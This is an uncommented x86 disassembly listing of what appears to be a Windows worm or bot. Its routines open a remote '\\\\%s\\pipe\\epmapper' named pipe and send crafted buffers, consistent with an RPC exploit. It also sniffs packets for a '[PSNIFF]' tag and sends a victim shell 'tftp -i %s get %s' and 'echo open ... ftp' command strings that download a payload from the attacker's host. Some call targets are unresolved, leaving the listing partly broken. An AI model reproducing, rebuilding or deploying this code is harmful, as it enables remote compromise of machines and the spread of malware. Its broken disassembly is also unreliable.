		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		call	near ptr 25F0962h
		nop


loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78


loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx


loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43F5A4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43F6F4
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43F5FC
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43C80C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43C808
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43F708
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7


loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43F708


loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------


loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax


loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43C80C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h


loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43F5A8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		nop
		call	near ptr 260086Bh
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------


loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F678
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCB
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset off_427A80
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------


loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------


loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3


loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86


loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C


loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2640764h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C


loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		call	near ptr 2640000h
		nop
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_402F02


loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx


loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		nop
		call	near ptr 26217F0h
		jmp	loc_402E4D
; ---------------------------------------------------------------------------


loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		nop
		call	near ptr 262109Ch
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	near ptr 26217F0h
		nop
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43F668
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------


loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF


loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059


loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi


loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43F700


loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------


loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43F700


loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		call	near ptr 260086Bh
		nop
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------


loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax


loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_41544E
		pop	ecx
		mov	dword_43C810, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43C810
		push	eax
		call	dword_43F668
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		mov	esi, offset byte_42F678
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		nop
		call	near ptr 260086Bh
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226


loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------


loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		push	ebx
		call	dword_43F700
		mov	al, 1


loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_43C810
		add	esp, 2Ch
		push	eax
		call	dword_43F668
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------


loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
		mov	esi, offset loc_427D08
